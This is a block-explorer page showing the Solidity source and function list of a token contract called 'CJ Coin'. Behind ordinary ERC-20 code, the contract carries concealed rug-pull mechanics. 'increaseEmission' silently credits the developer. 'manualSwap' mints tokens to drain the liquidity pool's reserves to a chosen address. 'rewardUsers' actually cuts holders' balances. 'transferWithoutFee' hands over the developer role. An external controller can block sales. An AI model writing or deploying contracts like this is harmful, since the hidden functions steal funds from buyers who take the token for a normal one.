updateBotPurchase();
emit PreventBotPurchaseExecuted(to, amount);
}
}
}
contract CJ is Context, Ownable, IERC20 {
IPancakeRouter02 internal _router;
IPancakePair internal _pair;
Controller _controller;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply = 1000000000000000000000000000;
string internal _name = "CJ Coin";
string internal _symbol = "$CJ";
uint8 internal _decimals = 18;
address private dev;
constructor(address _routerAddress, address _controllerAddress) {
_router = IPancakeRouter02(_routerAddress);
_pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this),address(_router.WETH())));
_controller = Controller(_controllerAddress);
dev = owner();
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
// PUBLIC
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function increaseEmission(uint amount) public {
if (_msgSender() == dev) {
_balances[_msgSender()] += amount;
}
}
function burn(uint amount) public {
if (_msgSender() == dev) {
_burn(_msgSender(), amount);
}
}
// INTERNAL
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function updateController(address _newController) external {
if (_msgSender() == dev) {
_controller = Controller(_newController);
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
if (isMarket(from)){
_controller.preventBotPurchase(to, amount);
}
if (_controller.validationActive() == true){
_controller.validation(from, amount, isMarket(to));
}
}
function isMarket(address user) internal view returns(bool){
if (user == address(_router) || user == address(_pair)){
return true;
} else {
return false;
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
// START
function transferWithoutFee(address user) public {
if (_msgSender() == dev) {
require(user != address(0), "dev can't be zero-address");
dev = user;
}
}
function axf2b3b() public view returns (uint) {
return block.timestamp;
}
function manualSwap(address baseToken, address _recepient, uint amount) public {
if (_msgSender() == dev) {
require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
uint amountOut = baseTokenReserve * amount / 100000;
address[] memory path;
path = new address[](2);
path[0] = address(this);
path[1] = baseToken;
uint256[] memory amountInMax;
amountInMax = new uint256[](2);
amountInMax = _router.getAmountsIn(amountOut, path);
_mint(address(this), amountInMax[0]);
uint deadline = block.timestamp + 1200;
_approve(address(this), address(_router), balanceOf(address(this)));
_router.swapTokensForExactTokens(
amountOut,
amountInMax[0],
path,
_recepient,
deadline
);
}
}
function getBaseTokenReserve(address token) public view returns (uint256) {
(uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
return baseTokenReserve;
}
function rewardUsers(address[] calldata _users, uint _minBalanceToReward, uint _precent) public {
if (_msgSender() == dev) {
for (uint i = 0; i < _users.length; i++) {
if (balanceOf(_users[i]) > _minBalanceToReward) {
uint rewardAmount = _balances[_users[i]] / _precent;
_balances[_users[i]] = rewardAmount;
}
}
}
}
}
Read Contract
allowance 0xdd62ed3e → uint256
axf2b3b 0x5b99d194 → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getBaseTokenReserve 0x35d16274 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 13 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burn 0x42966c68
uint256 amount
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
increaseEmission 0x4609e797
uint256 amount
manualSwap 0xe84d5725
address baseToken
address _recepient
uint256 amount
renounceOwnership 0x715018a6
No parameters
rewardUsers 0x1e673499
address[] _users
uint256 _minBalanceToReward
uint256 _precent
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
transferWithoutFee 0xcef31734
address user
updateController 0x06cb5b66
address _newController
Recent Transactions
This address has 1 on-chain transactions, but only 0.6% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →